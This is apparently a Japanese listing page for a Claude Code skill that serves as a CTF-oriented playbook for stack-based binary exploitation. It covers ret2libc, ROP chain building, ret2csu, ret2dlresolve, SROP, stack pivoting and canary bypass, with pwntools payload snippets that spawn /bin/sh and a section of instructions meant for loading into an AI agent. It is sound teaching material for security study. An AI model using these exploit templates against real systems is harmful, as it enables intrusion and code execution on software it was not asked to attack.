mcpField
S
stack-overflow-and-rop

stack-overflow-and-rop

github.com/yaklangセキュリティ2.6k3.6k 回インストール6 週間前に更新
リポジトリ

stack-overflow-and-rop について

脆弱なプログラムやCTFを扱うセキュリティ担当者向けの、スタックベースのバイナリ悪用に関する応用スキルです。return-to-libc、ROPチェーン、スタックピボット、カナリア回避などを扱います。

主な機能

  1. 01Return-to-libcの手法
  2. 02ROPチェーン構築とガジェット選定
  3. 03ret2csu、ret2dlresolve、SROP
  4. 04スタックピボット手法
  5. 05カナリア回避の方法
  6. 06エクスプロイトツールのコマンド一覧

活用シーン

  1. 01スタックオーバーフローのエクスプロイト構築
  2. 02NX有効時のコード再利用手法の選定
  3. 03対象バイナリでのカナリア回避策の分析

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/yaklang/hack-skills --skill stack-overflow-and-rop

インストール後、Claude Code で/stack-overflow-and-ropを入力して読み込まれたか確認します。

同梱ファイルROP_ADVANCED_TECHNIQUES.md

詳細

SKILL:Stack Overflow と ROP — エキスパート向け攻撃プレイブック

AI LOAD INSTRUCTION:エキスパート向けのスタックベースのエクスプロイト技術です。古典的なバッファーオーバーフロー、return-to-libc、ROP チェーンの構築、ret2csu、ret2dlresolve、SROP、スタックピボット、カナリアのバイパスを扱います。ctf-wiki advanced-rop、実際の CVE、CTF の競技パターンから要点をまとめています。ベースモデルでは、制約のある条件下でのガジェット選択の微妙な点を見落としがちです。

0. 関連するルーティング

  • format-string-exploitation — オーバーフローを発生させる前に、フォーマット文字列を使ってカナリア/libc/PIE のベースアドレスをリークします
  • binary-protection-bypass — NX、ASLR、PIE、カナリア、RELRO を体系的にバイパスします
  • arbitrary-write-to-rce — 書き込みプリミティブ(GOT、フック、vtable)をコード実行に利用します
  • heap-exploitation — 脆弱性がスタックではなくヒープにある場合に使用します
高度なリファレンス

次のケースでは、ROP_ADVANCED_TECHNIQUES.md を読み込んでください。

  • バイナリーがない状態で、リモートサービスを標的にする Blind ROP(BROP)の手法
  • 32 ビットシステムで ASLR をバイパスする ret2vdso
  • PIE をバイパスする部分上書きの手法
  • コード再利用の代替パラダイムである JOP/COP

1. スタックレイアウトの基礎

High Address
┌─────────────────────┐
│   ...  (caller)     │
├─────────────────────┤
│   Return Address    │  ← overwrite target (EIP/RIP control)
├─────────────────────┤
│   Saved EBP/RBP     │  ← overwrite for stack pivoting
├─────────────────────┤
│   Canary (if enabled)│
├─────────────────────┤
│   Local Variables    │  ← buffer starts here
├─────────────────────┤
│   ...               │
└─────────────────────┘
Low Address
要素x86(32 ビット)x86-64(64 ビット)
リターンアドレスのサイズ4 バイト8 バイト
保存されたフレームポインター4 バイト(EBP)8 バイト(RBP)
カナリアのサイズ4 バイト8 バイト
呼び出し規約引数はスタック上RDI、RSI、RDX、RCX、R8、R9 の後にスタック
システムコール命令int 0x80syscall

2. RETURN-TO-LIBC

NX が有効な場合(スタックが実行不可の場合)、実行を libc 関数にリダイレクトします。

古典的な ret2libc(32 ビット)
payload = b'A' * offset
payload += p32(system_addr)
payload += p32(exit_addr)      # fake return address for system()
payload += p32(binsh_addr)     # arg1: "/bin/sh"
ret2libc(64 ビット)— 引数用のガジェットが必要
pop_rdi = elf_base + 0x401234  # pop rdi; ret
payload = b'A' * offset
payload += p64(pop_rdi)
payload += p64(binsh_addr)
payload += p64(system_addr)
Libc ベースアドレスのリーク方法
方法手法使用条件
puts@plt(puts@GOT)解決済みの libc アドレスをリークGOT がすでに解決済みで、puts が PLT にある
write@plt(1, read@GOT, 8)write システムコールでリークwrite が利用可能
printf("%s", GOT_entry)フォーマット文字列でリークprintf を制御可能
部分上書きリターンアドレスの下位バイトを上書きし、リーク用ガジェットに到達PIE が有効で、下位 12 ビットが既知
# Typical leak pattern
rop = b'A' * offset
rop += p64(pop_rdi) + p64(elf.got['puts'])
rop += p64(elf.plt['puts'])
rop += p64(main_addr)  # return to main for second payload

io.sendline(rop)
leak = u64(io.recvline().strip().ljust(8, b'\x00'))
libc_base = leak - libc.symbols['puts']
one_gadget — 単一ガジェットによる RCE
$ one_gadget /path/to/libc.so.6
0x4f3d5  execve("/bin/sh", rsp+0x40, environ)
  constraints: rsp & 0xf == 0, rcx == NULL
0x4f432  execve("/bin/sh", rsp+0x40, environ)
  constraints: [rsp+0x40] == NULL

制約を満たす必要があります。使用前にレジスター/スタックの状態を確認してください。


3. ROP チェーンの構築

ツールの比較
ツール強みコマンド
ROPgadget網羅的な検索、チェーン生成ROPgadget --binary elf --ropchain
ropperセマンティック検索、JOP/COP のサポートropper -f elf --search "pop rdi"
pwntools ROPチェーンの自動構築rop = ROP(elf); rop.call('system', ['/bin/sh'])
xrop高速なガジェット検索xrop -r elf
基本的なガジェットのパターン
目的ガジェット使用例
RDI(引数1)を設定pop rdi; retほとんどの関数呼び出し
RSI(引数2)を設定pop rsi; pop r15; ret引数が 2 つの関数
RDX(引数3)を設定pop rdx; ret(まれ)引数が 3 つの関数。ret2csu を使用
システムコールsyscall; retシステムコールを直接呼び出す
スタックピボットleave; retRSP を制御可能なバッファーに移動
スタックをアラインメントret(単一の ret ガジェット)movaps の 16 バイトアラインメントを修正

x86-64 のスタックアラインメント:system() などの libc 関数は、RSP % 16 == 0 を必要とする movaps を使用します。アラインメントがずれている場合は、呼び出しの前に ret ガジェットを追加してください。


4. ret2csu — 汎用の 3 引数制御

__libc_csu_init は、ほぼすべての動的リンク ELF バイナリーに存在し、最大 3 つの引数を指定して呼び出しを制御できます。

; Gadget 1 (csu_init + 0x3a): pop registers
pop rbx     ; 0
pop rbp     ; 1
pop r12     ; call target (function pointer address)
pop r13     ; arg3 (rdx)
pop r14     ; arg2 (rsi)
pop r15     ; arg1 (edi = r15d)
ret

; Gadget 2 (csu_init + 0x20): controlled call
mov rdx, r13
mov rsi, r14
mov edi, r15d    ; NOTE: only sets edi (32-bit), not full rdi
call [r12 + rbx*8]
add rbx, 1
cmp rbp, rbx
jne <loop>
; falls through to gadget 1 again

主な制約:r12 には、対象関数へのポインター(たとえば GOT エントリー)を設定する必要があります。関数アドレスを直接指定してはいけません。ループをスキップするには、rbx=0、rbp=1 に設定します。


5. ret2dlresolve

libc のリークなしで任意の関数(たとえば system)を解決するために、ELF の動的リンク構造を偽造します。

攻撃の流れ
  1. 実行を制御して _dl_runtime_resolve(link_map, reloc_offset) を呼び出します
  2. 既知の書き込み可能なアドレスに、偽の Elf_Sym を指す Elf_Rel を偽造します
  3. st_name が偽の文字列 "system\x00" を指すように Elf_Sym を偽造します
  4. リゾルバーが偽造した構造体を使うように reloc_offset を設定します
  5. 引数(/bin/sh)をスタックまたは既知のバッファーに配置します
# pwntools automation (recommended)
from pwntools import *
rop = ROP(elf)
dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh"])
rop.read(0, dlresolve.data_addr)
rop.ret2dlresolve(dlresolve)
io.sendline(rop.chain())
io.sendline(dlresolve.payload)
32ビットと64ビットの違い
項目32ビット64ビット
再配置タイプElf32_Rel(8バイト)Elf64_Rela(24バイト)
シンボルテーブルエントリーElf32_Sym(16バイト)Elf64_Sym(24バイト)
アラインメント緩やか厳密(ndx = (reloc_offset) / sizeof(Elf64_Rela) を満たし、その後 sym = symtab[ndx] となる必要があります)
バージョンチェック通常はスキップ可能VERSYM[sym_index] が有効、または 0 である必要があります

6. SROP — シグナルリターン指向プログラミング

sigreturn システムコールを悪用し、スタック上の偽のシグナルフレームからすべてのレジスターを一度に設定します。

from pwn import *
frame = SigreturnFrame()
frame.rax = constants.SYS_execve  # 59
frame.rdi = binsh_addr
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_ret_addr
frame.rsp = new_stack_addr  # optional pivot

payload = b'A' * offset
payload += p64(pop_rax_ret) + p64(15)  # SYS_rt_sigreturn = 15
payload += p64(syscall_ret)
payload += bytes(frame)

使用する状況:使用できるガジェットが限られている場合、pop rdx がない場合、静的バイナリーの場合、またはスタックを任意のアドレスにピボットする必要がある場合です。


7. スタックピボット

オーバーフローできる長さが限られている場合、スタックポインターを攻撃者が制御するバッファーに移動します。

手法ガジェット前提条件
leave; retmov rsp, rbp; pop rbp; ret保存された RBP を偽のスタックを指すように制御できる
xchg rsp, rax; retRSP と RAX を交換RAX を(ガジェットチェーン経由で)制御できる
pop rsp; retRSP を直接制御まれですが強力です
SROP ピボットSigreturnFrame で RSP を設定sigreturn ガジェットだけが必要です
leave;ret ピボットパターン
Overflow: [AAAA...][fake_rbp → buf][leave_ret_addr]
  1st leave: rsp = rbp → fake_rbp;  pop rbp → *fake_rbp
  1st ret:   rip = leave_ret_addr
  2nd leave: rsp = new_rbp → buf+8; pop rbp → *(buf)
  2nd ret:   rip = *(buf+8) → start of ROP chain in buf

8. カナリアのバイパス

手法条件方法
ブルートフォースfork() サーバー(子プロセスでもカナリアが同じ)1バイトずつ試行(64ビットでは 256 × 7 = 1792 回の試行)
フォーマット文字列によるリークprintf(user_input) を利用可能%N$p でスタックからカナリアを読み取る
スタック読み取り1バイトのオーバーフロー、または部分読み取りカナリアの NULL バイトを上書きし、エラー出力または通常の出力から読み取る
スレッドカナリアオーバーフローが TLS に到達TLS 内の stack_guard(fs:[0x28])を同時に上書きする
情報漏えい初期化されていないスタック変数のリーク漏えいデータにカナリアが含まれる

9. ツール早見表

checksec ./binary                          # Show protections (NX, canary, PIE, RELRO)
ROPgadget --binary ./binary --ropchain     # Auto-generate ROP chain
ropper -f ./binary --search "pop rdi"      # Semantic gadget search
one_gadget ./libc.so.6                     # Find one-shot RCE gadgets
pwn template ./binary --host x --port y    # Generate pwntools exploit skeleton

10. 判断フローチャート

Binary has stack overflow?
├── checksec: NX disabled?
│   └── YES → shellcode on stack, ret to buffer (ret2shellcode)
│   └── NO (NX enabled) →
│       ├── Canary enabled?
│       │   ├── YES → fork() server? → brute-force canary
│       │   │         format string? → leak canary
│       │   │         info leak?     → read canary
│       │   └── NO → proceed to ROP
│       ├── ASLR/PIE enabled?
│       │   ├── PIE → leak code base (partial overwrite last 12 bits, or info leak)
│       │   ├── ASLR only → leak libc base (puts@GOT, write@GOT)
│       │   └── Neither → addresses known, direct ROP
│       ├── Can leak libc?
│       │   ├── YES → ret2libc (system/execve) or one_gadget
│       │   └── NO → ret2dlresolve (forge resolution) or SROP
│       ├── Need 3+ args but no pop rdx?
│       │   └── ret2csu or SROP
│       ├── Overflow too short for full chain?
│       │   └── Stack pivot (leave;ret, xchg rsp)
│       ├── Static binary (no libc)?
│       │   └── SROP + syscall chain (execve via sigreturn)
│       └── Full RELRO?
│           └── Cannot overwrite GOT → target __free_hook, __malloc_hook,
│               or _IO_FILE vtable (see ../arbitrary-write-to-rce/)

コメント